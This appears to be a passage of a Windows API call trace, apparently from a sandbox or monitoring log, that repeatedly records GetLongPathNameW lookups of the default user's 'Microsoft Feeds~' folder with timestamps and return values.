[0119.115] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.116] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.117] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.120] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.121] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.121] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.122] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.123] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.126] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.127] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.127] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.128] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.129] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.132] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.132] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.133] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.134] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.134] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.137] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.138] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.139] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.139] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.140] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.143] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.144] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.145] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.145] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.146] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.149] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.150] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.150] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.151] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.152] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.155] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.155] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.156] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.157] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.157] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.160] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.161] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.162] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.162] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.163] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.166] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.167] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.168] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.168] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.169] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.172] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.173] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.173] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.190] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.191] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.194] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.195] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.196] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.197] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.197] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.200] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.201] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.202] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.202] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.203] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.212] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.213] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.214] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.215] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.219] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.224] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.225] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.226] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.226] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.227] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.235] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.235] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.236] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.237] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.237] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.241] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.241] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.245] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.247] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.247] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.252] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.252] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.253] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.254] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.255] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.259] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.260] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0119.261] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.262] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0119.263] GetLongPathNameW (in: 